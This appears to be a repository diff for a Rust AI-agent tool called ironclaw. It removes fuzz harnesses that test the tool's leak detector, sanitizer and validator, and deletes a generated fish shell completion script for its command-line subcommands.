// scan_and_clean must not panic and must return valid UTF-8.
|
||||
let cleaned = detector.scan_and_clean(input);
|
||||
if let Ok(ref clean_str) = cleaned {
|
||||
// Cleaned output must never be longer than original + redaction markers.
|
||||
// At minimum it should be valid UTF-8 (guaranteed by String type).
|
||||
let _ = clean_str.len();
|
||||
}
|
||||
// If scan found no matches, scan_and_clean should return the input unchanged.
|
||||
if scan.matches.is_empty() {
|
||||
if let Ok(ref clean_str) = cleaned {
|
||||
assert_eq!(
|
||||
clean_str, input,
|
||||
"scan_and_clean changed content despite no matches"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -1,23 +0,0 @@
|
||||
#![no_main]
|
||||
use libfuzzer_sys::fuzz_target;
|
||||
use ironclaw::safety::LeakDetector;
|
||||
|
||||
fuzz_target!(|data: &[u8]| {
|
||||
if let Ok(s) = std::str::from_utf8(data) {
|
||||
let detector = LeakDetector::new();
|
||||
|
||||
// Exercise scan path
|
||||
let result = detector.scan(s);
|
||||
// Invariant: if should_block, there must be matches
|
||||
if result.should_block {
|
||||
assert!(!result.matches.is_empty());
|
||||
}
|
||||
// Invariant: match locations must be valid
|
||||
for m in &result.matches {
|
||||
assert!(m.location.end <= s.len());
|
||||
}
|
||||
|
||||
// Exercise scan_and_clean path
|
||||
let _ = detector.scan_and_clean(s);
|
||||
}
|
||||
});
|
||||
@@ -1,23 +0,0 @@
|
||||
#![no_main]
|
||||
use libfuzzer_sys::fuzz_target;
|
||||
use ironclaw::safety::Sanitizer;
|
||||
|
||||
fuzz_target!(|data: &[u8]| {
|
||||
if let Ok(s) = std::str::from_utf8(data) {
|
||||
let sanitizer = Sanitizer::new();
|
||||
|
||||
// Exercise the main sanitization path
|
||||
let result = sanitizer.sanitize(s);
|
||||
// Verify invariant: warnings should have valid ranges
|
||||
for w in &result.warnings {
|
||||
assert!(w.location.end <= s.len());
|
||||
}
|
||||
// Verify invariant: critical severity triggers modification
|
||||
let has_critical = result.warnings.iter().any(|w| {
|
||||
w.severity == ironclaw::safety::Severity::Critical
|
||||
});
|
||||
if has_critical {
|
||||
assert!(result.was_modified);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -1,21 +0,0 @@
|
||||
#![no_main]
|
||||
use libfuzzer_sys::fuzz_target;
|
||||
use ironclaw::safety::Validator;
|
||||
|
||||
fuzz_target!(|data: &[u8]| {
|
||||
if let Ok(s) = std::str::from_utf8(data) {
|
||||
let validator = Validator::new();
|
||||
|
||||
// Exercise input validation
|
||||
let result = validator.validate(s);
|
||||
// Invariant: empty input is always invalid
|
||||
if s.is_empty() {
|
||||
assert!(!result.is_valid);
|
||||
}
|
||||
|
||||
// Exercise tool parameter validation with arbitrary JSON
|
||||
if let Ok(value) = serde_json::from_str::<serde_json::Value>(s) {
|
||||
let _ = validator.validate_tool_params(&value);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -1,22 +0,0 @@
|
||||
#![no_main]
|
||||
use libfuzzer_sys::fuzz_target;
|
||||
use ironclaw::safety::Validator;
|
||||
use ironclaw::tools::validate_tool_schema;
|
||||
|
||||
fuzz_target!(|data: &[u8]| {
|
||||
if let Ok(s) = std::str::from_utf8(data) {
|
||||
// Try parsing as JSON and validating as tool parameters
|
||||
if let Ok(value) = serde_json::from_str::<serde_json::Value>(s) {
|
||||
// Exercise Validator::validate_tool_params with arbitrary JSON
|
||||
let validator = Validator::new();
|
||||
let result = validator.validate_tool_params(&value);
|
||||
// Invariant: result should always be well-formed
|
||||
if !result.is_valid {
|
||||
assert!(!result.errors.is_empty());
|
||||
}
|
||||
|
||||
// Exercise validate_tool_schema with arbitrary JSON as a schema
|
||||
let _ = validate_tool_schema(&value, "fuzz");
|
||||
}
|
||||
}
|
||||
});
|
||||
-3053
File diff suppressed because it is too large
Load Diff
-455
@@ -1,455 +0,0 @@
|
||||
# Print an optspec for argparse to handle cmd's options that are independent of any subcommand.
|
||||
function __fish_ironclaw_global_optspecs
|
||||
string join \n cli-only no-db m/message= c/config= no-onboard h/help V/version
|
||||
end
|
||||
|
||||
function __fish_ironclaw_needs_command
|
||||
# Figure out if the current invocation already has a command.
|
||||
set -l cmd (commandline -opc)
|
||||
set -e cmd[1]
|
||||
argparse -s (__fish_ironclaw_global_optspecs) -- $cmd 2>/dev/null
|
||||
or return
|
||||
if set -q argv[1]
|
||||
# Also print the command, so this can be used to figure out what it is.
|
||||
echo $argv[1]
|
||||
return 1
|
||||
end
|
||||
return 0
|
||||
end
|
||||
|
||||
function __fish_ironclaw_using_subcommand
|
||||
set -l cmd (__fish_ironclaw_needs_command)
|
||||
test -z "$cmd"
|
||||
and return 1
|
||||
contains -- $cmd[1] $argv
|
||||
end
|
||||
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s V -l version -d 'Print version'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "run" -d 'Run the agent (default if no subcommand given)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "onboard" -d 'Interactive onboarding wizard'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "config" -d 'Manage configuration settings'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "tool" -d 'Manage WASM tools'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "memory" -d 'Query and manage workspace memory'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "service" -d 'Manage OS service (launchd / systemd)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "status" -d 'Show system health and diagnostics'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "completion" -d 'Generate shell completion scripts'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
|
||||
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l skip-auth -d 'Skip authentication (use existing session)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l channels-only -d 'Reconfigure channels only'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "init" -d 'Generate a default config.toml file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "list" -d 'List all settings and their current values'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "get" -d 'Get a specific setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "set" -d 'Set a setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "reset" -d 'Reset a setting to its default value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "path" -d 'Show the settings storage info'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s o -l output -d 'Output path (default: ~/.ironclaw/config.toml)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l force -d 'Overwrite existing file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s f -l filter -d 'Show only settings matching this prefix (e.g., "agent", "heartbeat")' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "init" -d 'Generate a default config.toml file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "list" -d 'List all settings and their current values'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "get" -d 'Get a specific setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "set" -d 'Set a setting value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "reset" -d 'Reset a setting to its default value'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "path" -d 'Show the settings storage info'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "list" -d 'List installed tools'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "remove" -d 'Remove an installed tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "info" -d 'Show information about a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "auth" -d 'Configure authentication for a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s n -l name -d 'Tool name (defaults to directory/file name)' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l capabilities -d 'Path to capabilities JSON file (auto-detected if not specified)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s t -l target -d 'Target directory for installation (default: ~/.ironclaw/tools/)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l release -d 'Build in release mode (default: true)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l skip-build -d 'Skip compilation (use existing .wasm file)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s f -l force -d 'Force overwrite if tool already exists'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s d -l dir -d 'Directory to list tools from (default: ~/.ironclaw/tools/)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s d -l dir -d 'Directory to remove tool from (default: ~/.ironclaw/tools/)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from remove" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from info" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s d -l dir -d 'Directory to look for tool (default: ~/.ironclaw/tools/)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s u -l user -d 'User ID for storing the secret (default: "default")' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from auth" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "list" -d 'List installed tools'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an installed tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "info" -d 'Show information about a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Configure authentication for a tool'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s m -l message -d 'Single message mode - send one message and exit' -r
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-db -d 'Skip database connection (for testing)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -l no-onboard -d 'Skip first-run onboarding check'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -s h -l help -d 'Print help'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "add" -d 'Add an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "remove" -d 'Remove an MCP server'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "list" -d 'List configured MCP servers'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
|
||||
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and not __fish_seen_subcommand_from add remove list auth test toggle help" -f -a "test" -d 'Test connection to an MCP server'
|
||||
